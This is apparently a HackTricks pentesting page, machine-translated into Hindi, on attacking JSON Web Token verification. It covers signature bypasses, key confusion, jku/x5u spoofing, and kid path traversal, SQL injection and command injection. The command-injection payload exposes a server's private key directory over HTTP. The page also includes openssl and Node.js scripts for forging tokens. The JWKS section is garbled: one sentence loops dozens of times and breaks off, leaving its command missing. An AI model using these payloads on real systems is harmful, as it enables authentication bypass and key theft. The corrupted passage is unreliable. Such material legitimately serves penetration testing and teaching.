JWT Vulnerabilities (Json Web Tokens)

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

अगर आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).

इस पोस्ट का एक हिस्सा शानदार पोस्ट पर आधारित है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology JWTs को पेंटेस्ट करने के लिए महान टूल के लेखक https://github.com/ticarpi/jwt_tool

त्वरित जीतें

jwt_tool को मोड All Tests! के साथ चलाएं और हरे रेखाओं का इंतजार करें

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

यदि आप भाग्यशाली हैं तो यह उपकरण कुछ मामला ढूंढ़ लेगा जहां वेब एप्लिकेशन JWT की गलत जांच कर रही है:

फिर, आप अपने प्रॉक्सी में अनुरोध खोज सकते हैं या उस अनुरोध के लिए उपयोग किए गए JWT को jwt_ उपकरण का उपयोग करके डंप कर सकते हैं:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

डेटा में हस्तक्षेप करें बिना कुछ बदले

आप बस डेटा में हस्तक्षेप कर सकते हैं, हस्ताक्षर को छोड़कर और सर्वर को हस्ताक्षर की जांच करने के लिए देख सकते हैं। उदाहरण के लिए अपना उपयोगकर्ता नाम "व्यवस्थापक" में बदलने का प्रयास करें।

क्या टोकन की जांच की जाती है?

JWT के हस्ताक्षर की जांच करने के लिए:

  • एक त्रुटि संदेश जारी करती है जो चल रही पुष्टि करती है; विस्तृत त्रुटियों में संवेदनशील विवरण की समीक्षा करनी चाहिए।

  • वापस आए पृष्ठ में परिवर्तन भी पुष्टि करता है कि पुष्टि हो रही है।

  • कोई परिवर्तन पुष्टि करता है कि कोई पुष्टि नहीं हो रही है; यह उस समय है जब पेयलोड दावों में हस्तक्षेप करने के साथ प्रयोग करने का समय है।

मूल

यह महत्वपूर्ण है कि टोकन का उत्पादन सर्वर-ओर या क्लाइंट-ओर से हुआ है, प्रॉक्सी के अनुरोध इतिहास की जांच करके।

  • क्लाइंट ओर से पहली बार देखे गए टोकन इस संकेत को देते हैं कि कुंजी को क्लाइंट-ओर कोड को उजागर किया गया हो सकता है, जिससे आगे जांच की आवश्यकता होती है।

  • सर्वर-ओर से उत्पन्न टोकन सुरक्षित प्रक्रिया की ओर संकेत करते हैं।

अवधि

जांचें कि क्या टोकन 24 घंटे से अधिक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो देखें कि सर्वर इसे सही ढंग से कैसे संभाल रहा है।

हैश-बल गुप्त सीक्रेट को ब्रूट-फ़ोर्स करें

इस पृष्ठ को देखें।

एल्गोरिथ्म को कोई बनाएं नन

उपयोग किए जाने वाले एल्गोरिथ्म को "कोई" के रूप में सेट करें और हस्ताक्षर भाग को हटा दें।

इस कमजोरी को प्रयास करने और JWT के भीतर विभिन्न मानों को बदलने के लिए बर्प एक्सटेंशन कॉल "JSON वेब टोकन" का उपयोग करें (अनुरोध को रिपीटर में भेजें और "JSON वेब टोकन" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "एल्ग" फ़ील्ड के मान को "कोई" में डालने का चयन भी कर सकते हैं)।

एल्गोरिथ्म बदलें RS256(असममिट्रीय) से HS256(सममिट्रीय) (CVE-2016-5431/CVE-2016-10555)

एल्गोरिथ्म HS256 प्रत्येक संदेश को हस्ताक्षरित और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है। एल्गोरिथ्म RS256 संदेश को हस्ताक्षरित करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।

यदि आप एल्गोरिथ्म को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी के रूप में सुरक्षित कुंजी का उपयोग करता है और फिर हस्ताक्षर की पुष्टि करने के लिए HS256 एल्गोरिथ्म का उपयोग करता है।

फिर, सार्वजनिक कुंजी का उपयोग करके और RS256 को HS256 में बदलकर हम एक मान्य हस्ताक्षर बना सकते हैं। आप इसे निष्कर्षित कर सकते हैं वेब सर्वर का प्रमाणपत्र निष्पादित करके यह करके:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

हेडर के अंदर नया सार्वजनिक कुंजी

एक हमलावर टोकन के हेडर में एक नयी कुंजी एम्बेड करता है और सर्वर इस नयी कुंजी का उपयोग सिग्नेचर सत्यापित करने के लिए करता है (CVE-2018-0114).

इसे "JSON Web Tokens" Burp extension के साथ किया जा सकता है। (अनुरोध को Repeater में भेजें, JSON Web Token टैब में "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।

JWKS स्पूफिंग

निर्देश एक विधि का विवरण देते हैं जो JWT टोकनों की सुरक्षा का मूल्यांकन करने के लिए है, विशेष रूप से उन टोकनों के लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। यह क्लेम उस JWKS (JSON Web Key Set) फ़ाइल को लिंक करना चाहिए जिसमें टोकन की सत्यापन के लिए आवश्यक सार्वजनिक कुंजी हो।

  • "jku" हेडर के साथ टोकन का मूल्यांकन:

  • सुनिश्चित करें कि "jku" क्लेम का URL उचित JWKS फ़ाइल पर पहुंचता है।

  • टोकन के "jku" मान को बदलकर नियंत्रित वेब सेवा की ओर दिखाने के लिए ट्रैफ़िक अवलोकन करने की अनुमति देने के लिए।

  • HTTP इंटरैक्शन के लिए मॉनिटरिंग:

  • आपके निर्दिष्ट URL पर HTTP अनुरोधों का अवलोकन करना सर्वर की कोशिशों को सूचित करता है कि वह आपके प्रदत्त लिंक से कुंजियाँ प्राप्त करने का प्रयास कर रहा है।

  • इस प्रक्रिया के लिए jwt_tool का उपयोग करते समय, टेस्टिंग को सुविधाजनक बनाने के लिए अपनी व्यक्तिगत JWKS स्थान को jwtconf.ini फ़ाइल में अपडेट करना महत्वपूर्ण है।

  • jwt_tool के लिए कमांड:

  • निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविक करने के लिए निम्नलिख

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

"kid" के माध्यम से SQL Injection

यदि kid क्लेम की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो kid पेलोड को संशोधित करके SQL इंजेक्शन को सुविधाजनक बनाया जा सकता है। जेडब्ल्यूटी साइनिंग प्रक्रिया को संशोधित करने के लिए एक उदाहरण पेलोड शामिल है:

non-existent-index' UNION SELECT 'ATTACKER';-- -

इस संशोधन से JWT साइनिंग के लिए एक ज्ञात गुप्त कुंजी, ATTACKER, का उपयोग करने के लिए बाध्य किया जाता है।

"kid" के माध्यम से ओएस इंजेक्शन

एक स्थिति जहाँ kid पैरामीटर एक कमांड निष्पादन संदर्भ में उपयोग किया जाता है, वहाँ दूरस्थ कोड निष्पादन (RCE) भयंकरता की ओर ले जा सकती है। kid पैरामीटर में कमांड इंजेक्शन करके निजी कुंजीयों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण पेलोड है:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u और jku

jku

jku का मतलब है JWK Set URL. यदि टोकन एक “jkuHeader क्लेम का उपयोग करता है तो प्रदत्त URL की जाँच करें। यह एक URL पर पोइंट करना चाहिए जो JWKS फ़ाइल को धारित करता है जो टोकन को सत्यापित करने के लिए सार्वजनिक कुंजी रखती है। टोकन को तबादला करें ताकि jku मान एक वेब सेवा की ओर पोइंट करे जिस पर आप ट्रैफ़िक का मॉनिटर कर सकते हैं।

सबसे पहले आपको नए प्राइवेट और सार्वजनिक कुंजी के साथ एक नया प्रमाणपत्र बनाना होगा।

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

तो आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं नए JWT बनाने के लिए निर्मित सार्वजनिक और निजी कुंजीयों के साथ और पैरामीटर jku को बनाए गए प्रमाणपत्र पर प्वाइंट करके। एक वैध jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर बदल सकते हैं।

आप एक सार्वजनिक प्रमाणपत्र से "e" और "n" पैरामीटर प्राप्त कर सकते हैं:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों का सेट करने के लिए एक URI। यह PEM रूप में एन्कोड किए गए होते हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को साइन करने के लिए किया गया है। आगामी प्रमाणपत्रों में प्रत्येक पिछले प्रमाणपत्र को साइन करता है, जिससे प्रमाणपत्र श्रृंखला पूरी हो जाती है। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा आवश्यक है।

इस हेडर को अपने नियंत्रण में एक URL में बदलने का प्रयास करें और देखें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप JWT को बिगाड़ सकते हैं

आपके नियंत्रण में एक प्रमाणपत्र का उपयोग करके एक नया टोकन जाल सकने के लिए, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

तो आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं नए JWT बनाने के लिए निर्मित सार्वजनिक और निजी कुंजीयों के साथ और पैरामीटर x5u को त्रुटि .crt बनाई गई प्रमाणपत्र की ओर पुंक्तित करने के लिए।

आप इन दोनों दोषों का दुरुपयोग भी कर सकते हैं SSRFs के लिए

x5c

इस पैरामीटर में बेस64 में प्रमाणपत्र हो सकता है:

अगर हमलावार एक आत्म-साइन किया गया प्रमाणपत्र उत्पन्न करता है और उसके संबंधित निजी कुंजी का उपयोग करते हुए एक जाली टोकन बनाता है और "x5c" पैरामीटर के मान को नवीनतम उत्पन्न प्रमाणपत्र से बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मुख्य रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

एम्बेडेड पब्लिक की (CVE-2018-0114)

यदि JWT में एक सार्वजनिक कुंजी एम्बेडेड है जैसे निम्नलिखित परिदृश्य में:

निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक सार्वजनिक कुंजी उत्पन्न करना संभव है:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

एक नए निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नए सार्वजनिक कुंजी को टोकन के अंदर समाहित करना और इसका उपयोग एक नया हस्ताक्षर उत्पन्न करने के लिए कर सकते हैं:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस Node.js स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

ES256: एक ही नॉन्स के साथ निजी कुंजी का प्रकटीकरण

यदि कुछ एप्लिकेशन ES256 का उपयोग करती हैं और दो JWT जनरेट करने के लिए एक ही नॉन्स का उपयोग करती हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।

यहां एक उदाहरण है: ECDSA: निजी कुंजी का प्रकटीकरण, यदि एक ही नॉन्स का उपयोग किया गया है (SECP256k1 के साथ)

JTI (JWT ID)

JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। यह टोकन को पुनः चलाने से रोकने के लिए उपयोग किया जा सकता है। हालांकि, एक स्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है तो आप इसका दुरुपयोग कर सकते हैं एक अनुरोध को पुनः चलाने के लिए (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता है)।

JWT पंजीकृत दावे

अन्य हमले

क्रॉस-सर्विस रिले अटैक

यह देखा गया है कि कुछ वेब एप्लिकेशन अपने टोकनों का उत्पादन और प्रबंधन करने के लिए एक विश्वसनीय JWT सेवा पर निर्भर हैं। कई घटनाएं दर्ज की गई हैं जहां एक टोकन, जो JWT सेवा द्वारा एक ग्राहक के लिए उत्पन्न किया गया था, उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया था। यदि तीसरे पक्ष सेवा के माध्यम से एक JWT का जारी किया जाना या नवीकरण देखा जाता है, तो उसी उपयोगकर्ता के लिए एक खाते पर साइन अप करने की संभावना होनी चाहिए जिसमें एक ही उपयोगकर्ता नाम / ईमेल का उपयोग किया जा रहा है। उसके बाद लक्ष्य को एक अनुरोध में प्राप्त टोकन को पुनः चलाने का प्रयास करना चाहिए ताकि देखा जा सके कि क्या यह स्वीकार किया जाता है।

  • आपके टोकन को स्वीकृति मिलने पर एक गंभीर मुद्दा संकेत हो सकता है, जो किसी भी उपयोगकर्ता के खाते का धोखा देने की संभावना हो सकती है। हालांकि, यह ध्यान देना चाहिए कि तीसरे पक्ष एप्लिकेशन पर साइन अप करने के लिए अधिक टेस्टिंग की अनुमति की आवश्यकता हो सकती है, क्योंकि यह कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।

टोकन की समाप्ति जांच

"exp" पेलोड दावा का उपयोग करके टोकन की समाप्ति की जाती है। यह दिया गया है कि JWTs अक्सर सत्र सूचना के बिना प्रयोग किए जाते हैं, सावधान व्यवस्थापन की आवश्यकता है। बहुत सारे मामलों में, एक अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः चलाने का उपयोग करना उस उपयोगकर्ता का अनुकरण करने की संभावना हो सकती है। JWT RFC टोकन के लिए एक समाप्ति समय सेट करने के लिए "exp" दावा का उपयोग करके JWT पुनः चलाने के हमलों को कम करने की सिफारिश करता है। इसके अतिरिक्त, एप्लिकेशन द्वारा इस मूल्य की प्रसंस्करण की सुनिश्चित करने और समाप्त हो गए टोकन को अस्वीकृत करने के लिए प्रासंगिक जांचों के कार्यान्वयन की आवश्यकता है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएं अनुमति देती हैं, तो टोकन को स्टोर करना और समाप्ति समय के बाद इसे पुनः चलाने की सिफारिश की जाती है। टोकन की सामग्री, समय चिह्नित करना और समाप्ति जांचना (समय चिह्नित करना यूटीसी में), jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।

  • एक सुरक्षा जोखिम मौजूद हो सकता है यदि एप्लिकेशन अब भी टोकन की पुष्टि करता है, क्योंकि यह इस संकेत का अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।

उपकरण

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated